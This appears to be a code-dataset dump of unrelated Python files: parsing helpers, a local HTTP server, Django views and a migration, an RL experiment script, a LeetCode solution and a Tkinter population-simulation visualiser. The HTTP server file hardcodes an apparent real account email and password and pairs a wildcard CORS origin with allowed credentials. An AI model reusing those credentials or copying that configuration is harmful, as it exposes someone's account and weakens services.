def Follow(sef, inputData):
followSet = []
return followSet
#Private methods
def _SearchAfter(self, inputData):
_t_out = []
s_ter = re.compile(r"\w+ -> ")
[_t_out.append(s_ter.split(inputData[i])[1])
for i in range(0, len(inputData))]
return _t_out
def _SearchBefore(self, inputData):
_t_in = []
s_nter = re.compile(r"[^\w+ -> ]")
[_t_in.append(s_nter.split(inputData[i][0]))
for i in range(0, len(inputData))]
return _t_in
'''# is Epsilon'''
def _CharCase(self, data):
if data.islower() or data == '#':
return True
else:
return False
def _CharCaseProductiv(self, data, product):
check_lower = 0
check_product = 0
for i in range(len(data)):
if data[i].islower():
check_lower = 1
if data[i] in product:
check_product = 1
if check_lower == 1 and check_product == 1:
return True
else:
return False
def _Productive(self, t_out, t_in):
_productive = []
for i in range(len(t_out)):
if self._CharCase(t_out[i]):
if t_in[i][0] not in _productive:
_productive.append(t_in[i][0])
for i in range(len(t_out)):
if self._CharCaseProductiv(t_out[i], _productive):
if t_in[i][0] not in _productive:
_productive.append(t_in[i][0])
return _productive
def _UnProductive(self, productive, t_in):
_unproductive = []
for i in range(len(t_in)):
if (t_in[i][0] not in productive) and (t_in[i][0] not in _unproductive):
_unproductive.append(t_in[i][0])
return _unproductive
|
10,027 | fa8ff35c51be178e7b660a1a50a3f018c0402d88 | # import requests
# url = 'https://www.w3schools.com/python/demopage.php'
# myobj = {'somekey': 'somevalue'}
# x = requests.post(url, data = myobj)
# print(x)
# print("asd")
# Python 3 server example
import json
import os
from http.server import BaseHTTPRequestHandler, HTTPServer
from expertai.nlapi.cloud.client import ExpertAiClient
os.environ["EAI_USERNAME"] = "mattemendu@gmail.com"
os.environ["EAI_PASSWORD"] = "dF4d_?!1x!"
hostName = "localhost"
serverPort = 8080
class MyServer(BaseHTTPRequestHandler):
def end_headers(self):
self.send_header('Access-Control-Allow-Credentials', 'true')
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS')
return super(MyServer, self).end_headers()
# def end_headers (self):
# self.send_header('Access-Control-Allow-Origin', '*')
# self.end_headers()
# def do_OPTIONS(self):
# self.send_response(200, "ok")
# self.send_header('Access-Control-Allow-Origin', '*')
# self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS')
# self.send_header("Access-Control-Allow-Headers", "X-Requested-With")
# self.send_header("Access-Control-Allow-Headers", "Content-Type")
# self.end_headers()
def do_GET(self):
self.send_response(200, "ok")
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(bytes("<html><head><title>https://pythonbasics.org</title></head>", "utf-8"))
self.wfile.write(bytes("<p>Request: %s</p>" % self.path, "utf-8"))
self.wfile.write(bytes("<body>", "utf-8"))
self.wfile.write(bytes("<p>This is an example web server.</p>", "utf-8"))
self.wfile.write(bytes("</body></html>", "utf-8"))
def do_POST(self):
self.send_response(200, "ok")
self.send_header('Content-Type', 'application/json')
# self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
json_str = json.dumps({'hello': 'world', 'received': 'ok'})
# client = ExpertAiClient()
# text = "Michael Jordan was one of the best basketball players of all time. Scoring was Jordan's stand-out skill, but he still holds a defensive NBA record, with eight steals in a half."
# language= 'en'
# output = client.specific_resource_analysis(body={"document": {"text": text}}, params={'language': language, 'resource': 'entities'})
# print (f'{"ENTITY":{50}} {"TYPE":{10}}')
# print (f'{"------":{50}} {"----":{10}}')
# for entity in output.entities:
# print (f'{entity.lemma:{50}} {entity.type_:{10}}')
self.wfile.write(bytes(json_str, "utf-8"))
# self.wfile.write(json_str.encode(encoding='utf_8'))
# self.wfile.write(json.dumps({'hello': 'world', 'received': 'ok'}))
# self.wfile.write(bytes("<html><body><h1>POST Request Received!</h1></body></html>", "utf-8"))
if __name__ == "__main__":
webServer = HTTPServer((hostName, serverPort), MyServer)
print("Server started http://%s:%s" % (hostName, serverPort))
try:
webServer.serve_forever()
except KeyboardInterrupt:
pass
webServer.server_close()
print("Server stopped.") |
10,028 | b729950e1b1766d479e5f2e077b8dc01b4180ec8 | from rest_framework import viewsets, mixins
from rest_framework.response import Response
from api.serializers import ProductSerializer, EventSerializer
from api.models import Products, Editions, Publishers, Events
class ProductViewSet(mixins.RetrieveModelMixin,
mixins.ListModelMixin,
viewsets.GenericViewSet):
queryset = Products.objects.all().order_by('name')
serializer_class = ProductSerializer
filterset_fields = ['name', 'sku', 'id', 'own']
class EventViewSet(mixins.RetrieveModelMixin,
mixins.ListModelMixin,
viewsets.GenericViewSet):
queryset = Events.objects.all().order_by('date')
serializer_class = EventSerializer
|
10,029 | f279eeadbc2559e6bb671bc38ff74e932e60b2dc | import matplotlib as mpl
mpl.use('Agg')
from sandbox.rocky.tf.algos.trpo import TRPO
from rllab.baselines.linear_feature_baseline import LinearFeatureBaseline
from rllab.envs.normalized_env import normalize
from sandbox.rocky.tf.optimizers.conjugate_gradient_optimizer import ConjugateGradientOptimizer
from sandbox.rocky.tf.optimizers.conjugate_gradient_optimizer import FiniteDifferenceHvp
from sandbox.rocky.tf.policies.gaussian_mlp_policy import GaussianMLPPolicy
from sandbox.rocky.tf.envs.base import TfEnv
from rllab.envs.gym_env import GymEnv
from sandbox.rocky.tf.policies.categorical_mlp_policy import CategoricalMLPPolicy
from sampling_utils import load_expert_rollouts
import numpy as np
import matplotlib.pyplot as plt
from rllab.misc import ext
ext.set_seed(1)
from train import Trainer
from gan.gan_trainer import GANCostTrainer
from gan.wgan_trainer import WGANCostTrainer
from gan.gan_trainer_with_options import GANCostTrainerWithRewardOptions, GANCostTrainerWithRewardMixtures
from apprenticeship.apprenticeship_trainer import ApprenticeshipCostLearningTrainer
from experiment import *
import tensorflow as tf
import pickle
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("expert_rollout_pickle_path")
parser.add_argument("trained_policy_pickle_path")
parser.add_argument("--num_frames", default=4, type=int)
parser.add_argument("--num_experiments", default=5, type=int)
parser.add_argument("--importance_weights", default=0.5, type=float)
parser.add_argument("--algorithm", default="rlgan")
parser.add_argument("--env", default="CartPole-v0")
parser.add_argument("--iterations", default=30, type=int)
parser.add_argument("--num_expert_rollouts", default=20, type=int)
parser.add_argument("--num_novice_rollouts", default=None, type=int, help="Default none means that it\'ll match the number of expert rollouts.")
parser.add_argument("--policy_opt_steps_per_global_step", default=1, type=int)
parser.add_argument("--policy_opt_learning_schedule", action="store_true")
parser.add_argument("--max_path_length", default=200, type=int)
args = parser.parse_args()
# TODO: clean this up
arg_to_cost_trainer_map = {"rlgan" : GANCostTrainer,
"optiongan" : GANCostTrainerWithRewardOptions,
"mixgan" : GANCostTrainerWithRewardMixtures,
"wgan": WGANCostTrainer,
"apprenticeship": ApprenticeshipCostLearningTrainer}
if args.algorithm not in arg_to_cost_trainer_map.keys():
raise Exception("Algorithm not supported must be one of " + arg_to_cost_trainer_map.keys())
# Need to wrap in a tf environment and force_reset to true
# see https://github.com/openai/rllab/issues/87#issuecomment-282519288
gymenv = GymEnv(args.env, force_reset=True)
gymenv.env.seed(1)
env = TfEnv(normalize(gymenv))
#TODO: don't do this, should just eat args into config
config = {}
config["algorithm"] = args.algorithm
config["importance_weights"] = args.importance_weights
config["num_expert_rollouts"] = args.num_expert_rollouts
config["num_novice_rollouts"] = args.num_novice_rollouts
config["policy_opt_steps_per_global_step"] = args.policy_opt_steps_per_global_step
config["policy_opt_learning_schedule"] = args.policy_opt_learning_schedule
# config["replay_old_samples"] = args.replay_old_samples
# average results over 10 experiments
true_rewards = []
for i in range(args.num_experiments):
print("Running Experiment %d" % i)
with tf.variable_scope('sess_%d'%i):
true_rewards_exp, actual_rewards_exp = run_experiment(args.expert_rollout_pickle_path,
args.trained_policy_pickle_path,
env,
arg_to_cost_trainer_map[args.algorithm],
iterations=args.iterations,
num_frames=args.num_frames,
config=config,
traj_len=args.max_path_length)
true_rewards.append(true_rewards_exp)
avg_true_rewards = np.mean(true_rewards, axis=0)
true_rewards_variance = np.var(true_rewards, axis=0)
true_rewards_std = np.sqrt(true_rewards_variance)
lr_flag = "lrschedule" if args.policy_opt_learning_schedule else "nolrschedule"
with open("%s_%s_i%f_e%d_f%d_er%d_nr%d_%s_rewards_data.pickle" % (args.algorithm, args.env, args.importance_weights, args.num_experiments, args.num_frames, args.num_expert_rollouts, args.num_novice_rollouts, lr_flag), "wb") as output_file:
pickle.dump(dict(avg=avg_true_rewards, var=true_rewards_variance), output_file)
#TODO: add variance
fig = plt.figure()
plt.plot(avg_true_rewards)
plt.xlabel('Training iterations', fontsize=18)
plt.fill_between(np.arange(len(avg_true_rewards)), avg_true_rewards-true_rewards_std, avg_true_rewards+true_rewards_std,
alpha=0.2, edgecolor='#1B2ACC', facecolor='#089FFF',
linewidth=4, linestyle='dashdot', antialiased=True)
plt.ylabel('Average True Reward', fontsize=16)
# plt.legend()
fig.suptitle('True Reward over Training Iterations')
fig.savefig('true_reward_option_%s_%s_i%f_e%d_f%d_er%d_nr%d_%s.png' % (args.algorithm, args.env, args.importance_weights, args.num_experiments, args.num_frames, args.num_expert_rollouts, args.num_novice_rollouts, lr_flag))
plt.clf()
|
10,030 | 5124c70d27bbf70384ffcf1471c7b984a5afe0eb | #
# @lc app=leetcode id=24 lang=python
#
# [24] Swap Nodes in Pairs
#
# @lc code=start
# Definition for singly-linked list.
# class ListNode(object):
# def __init__(self, x):
# self.val = x
# self.next = None
class Solution(object):
def swapPairs(self, head):
"""
:type head: ListNode
:rtype: ListNode
"""
if head is None:
return None
if head.next is None:
return head
dummy = ListNode(-1)
dummy.next= head
pre = dummy
while pre.next and pre.next.next:
preNext= pre.next
preNextNext = preNext.next
pre.next, preNextNext.next, preNext.next = preNextNext, preNext, preNextNext.next
pre = preNext
return dummy.next
def printNode(self, nodeName, node):
print(nodeName+" ", end = '')
while node:
print("{}-->".format(node.val), end = '')
node = node.next
print("")
def convertToNode(self, arr):
head= ListNode(-1)
cur = head
for v in arr:
cur.next =ListNode(v)
cur = cur.next
return head.next
s = Solution()
n = s.convertToNode([1,2,3,4,5])
s.printNode("head",n)
s.printNode("res ",s.swapPairs(n))
# @lc code=end
|
10,031 | 550a73cc1f9d8d83bed15903792786a3d6dc9162 | # This file is part of the NESi software.
#
# Copyright (c) 2020
# Original Software Design by Ilya Etingof <https://github.com/etingof>.
#
# Software adapted by inexio <https://github.com/inexio>.
# - Janis Groß <https://github.com/unkn0wn-user>
# - Philip Konrath <https://github.com/Connyko65>
# - Alexander Dincher <https://github.com/Dinker1996>
#
# License: https://github.com/inexio/NESi/LICENSE.rst
from nesi.devices.softbox.api.schemas.card_schemas import *
class AlcatelCardSchema(CardSchema):
class Meta:
model = Card
fields = CardSchema.Meta.fields + ('planned_type', 'actual_type', 'admin_state', 'operational_state',
'err_state', 'availability', 'alarm_profile', 'capab_profile',
'manufacturer', 'mnemonic', 'pba_code', 'fpba_code', 'fpba_ics',
'clei_code', 'serial_no', 'failed_test', 'lt_restart_time',
'lt_restart_cause', 'lt_restart_num', 'mgnt_entity_oamipaddr',
'mgnt_entity_pairnum', 'dual_host_ip', 'dual_host_loc', 'sensor_id',
'act_temp', 'tca_low', 'tca_high', 'shut_low', 'shut_high', 'enabled',
'restrt_cnt', 'position', 'dual_tag_mode', 'entry_vlan_number',
'vplt_autodiscover', 'vce_profile_id', 'vect_fallback_spectrum_profile',
'vect_fallback_fb_vplt_com_fail', 'vect_fallback_fb_cpe_cap_mism',
'vect_fallback_fb_conf_not_feas')
|
10,032 | a1c9ccbd6aa7646f3c5f2efac0beaae8ca9532f0 | # Generated by Django 2.2.13 on 2020-12-04 09:34
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('researcher_UI', '0057_auto_20201204_0933'),
]
operations = [
migrations.AddField(
model_name='study',
name='demographics',
field=models.ManyToManyField(to='researcher_UI.Demographic'),
),
]
|
10,033 | ec64a9e234c06fed2d4d930ab1f7874828d2f3bd | # -*- coding: utf-8 -*-
"""
Created on Thu Aug 15 12:17:23 2019
@author: Umberto Gostoli
"""
from collections import OrderedDict
from person import Person
from person import Population
from house import House
from house import Town
from house import Map
import Tkinter
import tkFont as tkfont
import pylab
import pandas as pd
import numpy as np
import os
import time
def init_params():
"""Set up the simulation parameters."""
p = OrderedDict()
p['startYear'] = 1855
p['num5YearAgeClasses'] = 25
p['numCareLevels'] = 5
p['pixelsInPopPyramid'] = 2000
p['pixelsPerTown'] = 16 # 56
p['mapGridXDimension'] = 20
p['mapGridYDimension'] = 25
p['careLevelColour'] = ['deepskyblue','green','yellow','orange','red']
p['careDemandInHours'] = [ 0.0, 12.0, 24.0, 48.0, 96.0 ]
p['unmetNeedColor'] = ['deepskyblue','green','yellow','orange','red', 'mediumorchid']
p['houseSizeColour'] = ['deepskyblue','green','yellow','orange','red', 'mediumorchid']
p['mainFont'] = 'Helvetica 18'
p['fontColour'] = 'white'
p['dateX'] = 70
p['dateY'] = 20
p['popX'] = 70
p['popY'] = 50
p['delayTime'] = 0.0
p['maxTextUpdateList'] = 12
return p
class PopPyramid:
"""Builds a data object for storing population pyramid data in."""
def __init__ (self, ageClasses, careLevels):
self.maleData = pylab.zeros((int(ageClasses), int(careLevels)),dtype=int)
self.femaleData = pylab.zeros((int(ageClasses), int(careLevels)),dtype=int)
def update(self, year, ageClasses, careLevels, pixelFactor, people):
## zero the two arrays
for a in range (int(ageClasses)):
for c in range (int(careLevels)):
self.maleData[a,c] = 0
self.femaleData[a,c] = 0
## tally up who belongs in which category
for i in people:
ageClass = ( year - i.birthdate ) / 5
if ageClass > ageClasses - 1:
ageClass = ageClasses - 1
careClass = i.careNeedLevel
if i.sex == 'male':
self.maleData[int(ageClass), int(careClass)] += 1
else:
self.femaleData[int(ageClass), int(careClass)] += 1
## normalize the totals into pixels
total = len(people)
for a in range (int(ageClasses)):
for c in range (int(careLevels)):
self.maleData[a,c] = pixelFactor * self.maleData[a,c] / total
self.femaleData[a,c] = pixelFactor * self.femaleData[a,c] / total
def initializeCanvas(year, initialUnmetCareNeed, initialmaxPublicCareCost):
"""Put up a TKInter canvas window to animate the simulation."""
canvas.pack()
## Draw some numbers for the population pyramid that won't be redrawn each time
for a in range(0,25):
canvas.create_text(170, 385 - (10 * a),
text=str(5*a) + '-' + str(5*a+4),
font='Helvetica 6',
fill='white')
## Draw the overall map, including towns and houses (occupied houses only)
for y in range(p['mapGridYDimension']):
for x in range(p['mapGridXDimension']):
xBasic = 520 + (x * p['pixelsPerTown'])
yBasic = 20 + (y * p['pixelsPerTown'])
canvas.create_rectangle(xBasic, yBasic,
xBasic+p['pixelsPerTown'],
yBasic+p['pixelsPerTown'],
outline='grey',
state = 'hidden' )
houses = []
occupiedHouses = []
for index, row in mapData[0].iterrows():
xBasic = 520 + (row['town_x']*p['pixelsPerTown'])
yBasic = 20 + (row['town_y']*p['pixelsPerTown'])
xOffset = xBasic + 2 + (row['x']*2)
yOffset = yBasic + 2 + (row['y']*2)
unmetNeedCat = 5
for i in range(len(p['careDemandInHours'])-1):
if row['unmetNeed'] >= p['careDemandInHours'][i] and row['unmetNeed'] < p['careDemandInHours'][i+1]:
unmetNeedCat = i
break
outlineColour = fillColour = p['unmetNeedColor'][unmetNeedCat]
width = 1
if row['size'] > 0:
occupiedHouses.append(1)
else:
occupiedHouses.append(0)
houses.append(canvas.create_rectangle(xOffset,yOffset,
xOffset + width, yOffset + width,
outline=outlineColour,
fill=fillColour,
state = 'normal'))
canvas.update()
time.sleep(0.5)
canvas.update()
for h in houses:
canvas.itemconfig(h, state='hidden')
if occupiedHouses[houses.index(h)] == 1:
canvas.itemconfig(h, state='normal')
canvas.update()
updateCanvas(0, year, ['Events Log'], houses, [initialUnmetCareNeed], [initialmaxPublicCareCost])
return houses
def updateCanvas(n, year, textUpdateList, houses, unmetCareNeed, costPublicCare):
"""Update the appearance of the graphics canvas."""
## First we clean the canvas off; some items are redrawn every time and others are not
canvas.delete('redraw')
## Now post the current year and the current population size
canvas.create_text(p['dateX'],
p['dateY'],
text='Year: ' + str(year),
font = p['mainFont'],
fill = p['fontColour'],
tags = 'redraw')
canvas.create_text(p['popX'],
p['popY'],
text='Pop: ' + str(outputs.loc[outputs['year'] == year, 'currentPop'].values[0]),
font = p['mainFont'],
fill = p['fontColour'],
tags = 'redraw')
canvas.create_text(p['popX'],
p['popY'] + 30,
text='Ever: ' + str(outputs.loc[outputs['year'] == year, 'popFromStart'].values[0]),
font = p['mainFont'],
fill = p['fontColour'],
tags = 'redraw')
## Also some other stats, but not on the first display
if year > p['startYear']:
bold_font = tkfont.Font(family="Helvetica", size=11, weight="bold")
canvas.create_text(380,20,
text='Avg household: ',
font = bold_font,
fill = 'white',
tags = 'redraw')
canvas.create_text(480,20,
text=str(round(outputs.loc[outputs['year'] == year, 'averageHouseholdSize'].values[0], 2)),
font = 'Helvetica 11',
fill = 'white',
tags = 'redraw')
canvas.create_text(380,40,
text='Marriages: ',
font = bold_font,
fill = 'white',
tags = 'redraw')
canvas.create_text(480,40,
text=str(outputs.loc[outputs['year'] == year, 'marriageTally'].values[0]),
font = 'Helvetica 11',
fill = 'white',
tags = 'redraw')
canvas.create_text(380,60,
text='Divorces: ',
font = bold_font,
fill = 'white',
tags = 'redraw')
canvas.create_text(480,60,
text=str(outputs.loc[outputs['year'] == year, 'divorceTally'].values[0]),
font = 'Helvetica 11',
fill = 'white',
tags = 'redraw')
canvas.create_text(380,100,
text='Total care need: ',
font = bold_font,
fill = 'white',
tags = 'redraw')
canvas.create_text(480,100,
text=str(round(outputs.loc[outputs['year'] == year, 'totalSocialCareNeed'].values[0],0)),
font = 'Helvetica 11',
fill = 'white',
tags = 'redraw')
canvas.create_text(380,120,
text='Num taxpayers: ',
font = bold_font,
fill = 'white',
tags = 'redraw')
canvas.create_text(480,120,
text=str(round(outputs.loc[outputs['year'] == year, 'taxPayers'].values[0],0)),
font = 'Helvetica 11',
fill = 'white',
tags = 'redraw')
canvas.create_text(380,140,
text='Family care ratio: ',
font = bold_font,
fill = 'white',
tags = 'redraw')
canvas.create_text(480,140,
text=str(round(100.0*outputs.loc[outputs['year'] == year, 'familyCareRatio'].values[0],0)) + "%",
font = 'Helvetica 11',
fill = 'white',
tags = 'redraw')
canvas.create_text(380,160,
text='Tax burden: ',
font = bold_font,
fill = 'white',
tags = 'redraw')
canvas.create_text(480,160,
text=str(round(outputs.loc[outputs['year'] == year, 'taxBurden'].values[0],0)),
font = 'Helvetica 11',
fill = 'white',
tags = 'redraw')
canvas.create_text(380,180,
text='Marriage prop: ',
font = bold_font,
fill = 'white',
tags = 'redraw')
canvas.create_text(480,180,
text=str(round(100.0*outputs.loc[outputs['year'] == year, 'marriagePropNow'].values[0],0)) + "%",
font = 'Helvetica 11',
fill = 'white',
tags = 'redraw')
occupiedHouses = []
outlineColour = []
fillColour = []
for index, row in mapData[n].iterrows():
unmetNeedCat = 5
for i in range(len(p['careDemandInHours'])-1):
if row['unmetNeed'] >= p['careDemandInHours'][i] and row['unmetNeed'] < p['careDemandInHours'][i+1]:
unmetNeedCat = i
break
outlineColour.append(p['unmetNeedColor'][unmetNeedCat])
fillColour.append(p['unmetNeedColor'][unmetNeedCat])
if row['size'] > 0:
occupiedHouses.append(1)
else:
occupiedHouses.append(0)
for h in houses:
if occupiedHouses[houses.index(h)] == 0:
canvas.itemconfig(h, state='hidden')
else:
canvas.itemconfig(h, outline=outlineColour[houses.index(h)], fill=fillColour[houses.index(h)], state='normal')
## Draw the population pyramid split by care categories
for a in range(0, p['num5YearAgeClasses']):
malePixel = 153
femalePixel = 187
for c in range(0, p['numCareLevels']):
numPeople = outputs.loc[outputs['year'] == year, 'currentPop'].values[0]
mWidth = p['pixelsInPopPyramid']*maleData[c].loc[maleData[c]['year'] == year, 'Class Age ' + str(a)].values[0]/numPeople
fWidth = p['pixelsInPopPyramid']*femaleData[c].loc[femaleData[c]['year'] == year, 'Class Age ' + str(a)].values[0]/numPeople
if mWidth > 0:
canvas.create_rectangle(malePixel, 380 - (10*a),
malePixel - mWidth, 380 - (10*a) + 9,
outline= p['careLevelColour'][c],
fill= p['careLevelColour'][c],
tags = 'redraw')
malePixel -= mWidth
if fWidth > 0:
canvas.create_rectangle(femalePixel, 380 - (10*a),
femalePixel + fWidth, 380 - (10*a) + 9,
outline=p['careLevelColour'][c],
fill=p['careLevelColour'][c],
tags = 'redraw')
femalePixel += fWidth
size = houseData.loc[houseData['year'] == year, 'size'].values[0]
colorIndex = -1
if size == 0:
colorIndex = 5
else:
if size > 4:
colorIndex = 4
else:
colorIndex = size-1
outlineColour = p['houseSizeColour'][colorIndex]
canvas.create_rectangle(1050, 450, 1275, 650,
outline = outlineColour,
tags = 'redraw' )
canvas.create_text (1050, 660,
text="Display house " + houseData.loc[houseData['year'] == year, 'House name'].values[0],
font='Helvetica 10',
fill='white',
anchor='nw',
tags='redraw')
ageBracketCounter = [ 0, 0, 0, 0, 0 ]
for index, row in householdData[n].iterrows():
age = row['Age']
ageBracket = int(age/20)
if ageBracket > 4:
ageBracket = 4
careClass = row['Health']
sex = row['Sex']
idNumber = row['ID']
drawPerson(age,ageBracket,ageBracketCounter[ageBracket],careClass,sex,idNumber)
ageBracketCounter[ageBracket] += 1
## Draw in some text status updates on the right side of the map
## These need to scroll up the screen as time passes
if len(textUpdateList) > p['maxTextUpdateList']:
excess = len(textUpdateList) - p['maxTextUpdateList']
textUpdateList = textUpdateList[excess:excess+p['maxTextUpdateList']]
baseX = 1035
baseY = 30
for i in textUpdateList:
canvas.create_text(baseX,baseY,
text=i,
anchor='nw',
font='Helvetica 9',
fill = 'white',
width = 265,
tags = 'redraw')
baseY += 30
# Create box for charts
# Graph 1
canvas.create_rectangle(25, 450, 275, 650,
outline = 'white',
tags = 'redraw' )
yearXPositions = [51, 104, 157, 210, 262]
for i in range(5):
canvas.create_line (yearXPositions[i], 650, yearXPositions[i], 652, fill='white')
labs = ['1880', '1920', '1960', '2000', '2040']
for i in range(5):
canvas.create_text (yearXPositions[i]-14, 655,
text= str(labs[i]),
font='Helvetica 10',
fill='white',
anchor='nw',
tags='redraw')
yLabels = ['2', '4', '6', '8', '10', '12', '14']
valueYPositions = []
for i in range(len(yLabels)):
n = float(450*(i+1)) #n = float(2000*(i+1))
valueYPositions.append(650-180*(n/maxUnmetCareNeed))
for i in range(len(yLabels)):
canvas.create_line(25, valueYPositions[i], 23, valueYPositions[i], fill='white')
for i in range(len(yLabels)):
indent = 12
if i > 3:
indent = 8
canvas.create_text (indent, valueYPositions[i]-8,
text= yLabels[i],
font='Helvetica 10',
fill='white',
anchor='nw',
tags='redraw')
canvas.create_text (25, 433,
text="e^3",
font='Helvetica 10',
fill='white',
anchor='nw',
tags='redraw')
bold_font = tkfont.Font(family="Helvetica", size=10, weight="bold")
canvas.create_text (95, 430,
text="Unmet Care Need",
font=bold_font,
fill='white',
anchor='nw',
tags='redraw')
if len(unmetCareNeed) > 1:
for i in range(1, len(unmetCareNeed)):
xStart = 25 + (float(i-1)/float(finalYear-initialYear))*(275-25)
yStart = 650 - (float(unmetCareNeed[i-1])/float(maxUnmetCareNeed))*(630-450)
xEnd = 25 + (float(i)/float(finalYear-initialYear))*(275-25)
yEnd = 650 - (unmetCareNeed[i]/maxUnmetCareNeed)*(630-450)
canvas.create_line(xStart, yStart, xEnd, yEnd, fill="red")
# Graph 2
canvas.create_rectangle(325, 450, 575, 650,
outline = 'white',
tags = 'redraw' )
yearXPositions = [351, 404, 457, 510, 562]
for i in range(5):
canvas.create_line (yearXPositions[i], 650, yearXPositions[i], 652, fill='white')
labs = ['1880', '1920', '1960', '2000', '2040']
for i in range(5):
canvas.create_text (yearXPositions[i]-14, 655,
text= str(labs[i]),
font='Helvetica 10',
fill='white',
anchor='nw',
tags='redraw')
yLabels = ['20', '40', '60', '80', '100', '120']
valueYPositions = []
for i in range(len(yLabels)):
n = float(180000*(i+1)) # n = float(10000*(i+1))
valueYPositions.append(650-180*(n/maxPublicCareCost))
for i in range(len(yLabels)):
canvas.create_line (325, valueYPositions[i], 323, valueYPositions[i], fill='white')
for i in range(len(yLabels)):
canvas.create_text (300, valueYPositions[i]-8,
text= yLabels[i],
font='Helvetica 10',
fill='white',
anchor='nw',
tags='redraw')
canvas.create_text (325, 433,
text="e^4",
font='Helvetica 10',
fill='white',
anchor='nw',
tags='redraw')
canvas.create_text (395, 430,
text="Cost of Public Care",
font=bold_font,
fill='white',
anchor='nw',
tags='redraw')
if len(costPublicCare) > 1:
for i in range(1, len(costPublicCare)):
xStart = 325 + (float(i-1)/float(finalYear-initialYear))*(575-325)
# print 'x0 = ' + str(xStart)
yStart = 650 - (float(costPublicCare[i-1])/float(maxPublicCareCost))*(630-450)
# print 'y0 = ' + str(yStart)
xEnd = 325 + (float(i)/float(finalYear-initialYear))*(575-325)
# print 'x1 = ' + str(xEnd)
yEnd = 650 - (costPublicCare[i]/maxPublicCareCost)*(630-450)
# print 'y1 = ' + str(yEnd)
canvas.create_line(xStart, yStart, xEnd, yEnd, fill="red")
## Finish by updating the canvas and sleeping briefly in order to allow people to see it
canvas.update()
if p['delayTime'] > 0.0:
time.sleep(p['delayTime'])
def drawPerson(age, ageBracket, counter, careClass, sex, idNumber):
baseX = 1100 + ( counter * 30 ) # 70
baseY = 590 - ( ageBracket * 30 ) # 620
fillColour = p['careLevelColour'][careClass]
canvas.create_oval(baseX,baseY,baseX+6,baseY+6,
fill=fillColour,
outline=fillColour,tags='redraw')
if sex == 'male':
canvas.create_rectangle(baseX-2,baseY+6,baseX+8,baseY+12,
fill=fillColour,outline=fillColour,tags='redraw')
else:
canvas.create_polygon(baseX+2,baseY+6,baseX-2,baseY+12,baseX+8,baseY+12,baseX+4,baseY+6,
fill=fillColour,outline=fillColour,tags='redraw')
canvas.create_rectangle(baseX+1,baseY+13,baseX+5,baseY+20,
fill=fillColour,outline=fillColour,tags='redraw')
canvas.create_text(baseX+11,baseY,
text=str(age),
font='Helvetica 6',
fill='white',
anchor='nw',
tags='redraw')
canvas.create_text(baseX+11,baseY+8,
text=str(idNumber),
font='Helvetica 6',
fill='grey',
anchor='nw',
tags='redraw')
def onclickButton1(evt):
yearLog = []
unmetCareNeeds = []
costPublicCare = []
timeOnStart = time.time()
for i in range(periods):
startYear = time.time()
year = i + initialYear
yearLog.extend(list(log.loc[log['year'] == year, 'message']))
unmetCareNeeds.append(outputs.loc[outputs['year'] == year, 'totalUnmetSocialCareNeed'].values[0])
costPublicCare.append(outputs.loc[outputs['year'] == year, 'costPublicSocialCare'].values[0])
updateCanvas(i, year, yearLog, houses, unmetCareNeeds, costPublicCare)
endYear = time.time()
print 'Year execution time: ' + str(endYear - startYear)
endOfRendering = time.time()
print ''
print 'Total execution time: ' + str(endOfRendering - timeOnStart)
if __name__ == "__main__":
p = init_params()
window = Tkinter.Tk()
canvas = Tkinter.Canvas(window,
width=1300,
height=700,
background='black')
# Stat and destroy button code
button1 = Tkinter.Button(window, text='start')
button1.config(height=2, width=10)
button1.bind("<Button-1>", onclickButton1)
button2 = Tkinter.Button(window, text='delete', command=window.destroy)
button2.config(height=2, width=10)
canvas.create_window(950, 30 + 10, window=button1)
canvas.create_window(950, 30 + 60, window=button2)
pyramid = PopPyramid(p['num5YearAgeClasses'], p['numCareLevels'])
# import data
startYear = time.time()
initialYear = 1855
policyFolder = 'Output_S'
outputs = pd.read_csv(policyFolder + '/Outputs.csv', sep=',', header=0)
log = pd.read_csv(policyFolder + '/Log.csv', sep=',', header=0)
houseData = pd.read_csv(policyFolder + '/HouseData.csv', sep=',', header=0)
maleData = []
for i in range(p['numCareLevels']):
fileName = '/Pyramid_Male_' + str(i) + '.csv'
maleData.append(pd.read_csv(policyFolder + fileName, sep=',', header=0))
femaleData = []
for i in range(p['numCareLevels']):
fileName = '/Pyramid_Female_' + str(i) + '.csv'
femaleData.append(pd.read_csv(policyFolder + fileName, sep=',', header=0))
householdFolder = policyFolder + '/DataHousehold'
periods = len([name for name in os.listdir(householdFolder) if os.path.isfile(os.path.join(householdFolder, name))])
householdData = []
for i in range(periods):
year = i + initialYear
fileName = '/DataHousehold_' + str(year) + '.csv'
householdData.append(pd.read_csv(householdFolder + fileName, sep=',', header=0))
mapFolder = policyFolder + '/DataMap'
mapData = []
for i in range(periods):
year = i + initialYear
fileName = '/DataMap_' + str(year) + '.csv'
mapData.append(pd.read_csv(mapFolder + fileName, sep=',', header=0))
finalYear = 2050
maxUnmetCareNeed = max(outputs["totalUnmetSocialCareNeed"].tolist())
maxPublicCareCost = max(outputs["costPublicSocialCare"].tolist())
initialUnmetCareNeed = outputs.loc[outputs['year'] == initialYear, 'totalUnmetSocialCareNeed'].values[0]
initialmaxPublicCareCost = outputs.loc[outputs['year'] == initialYear, 'costPublicSocialCare'].values[0]
endYear = time.time()
print 'Time to load data: ' + str(endYear - startYear)
print maxUnmetCareNeed
print maxPublicCareCost
houses = initializeCanvas(initialYear, initialUnmetCareNeed, initialmaxPublicCareCost)
# yearLog = []
# for i in range(periods):
# startYear = time.time()
# year = i + initialYear
# popID = popSim[i] #popID = pickle.load(open(directoryPop + '/save.p_' + str(year), 'rb')) #
# space = mapSim[i] # space = pickle.load(open(directoryMap + '/save.m_' + str(year), 'rb')) #
# pop = from_IDs_to_Agents(popID)
# if i == 0:
# initializeCanvas(year)
#
# pyramid.update(year, p['num5YearAgeClasses'], p['numCareLevels'], p['pixelsInPopPyramid'], pop.livingPeople)
#
# yearLog.extend(list(log.loc[log['year'] == year, 'message']))
# updateCanvas(year, yearLog)
#
# endYear = time.time()
#
# print 'Year execution time: ' + str(endYear - startYear)
window.mainloop()
|
10,034 | cf89ead2e9feade098ce2b8c99d64d4fe9edb5c1 | # -*- coding: utf-8 -*-
"""
Created on Sat Oct 03 11:22:34 2015
@author: Binoy
"""
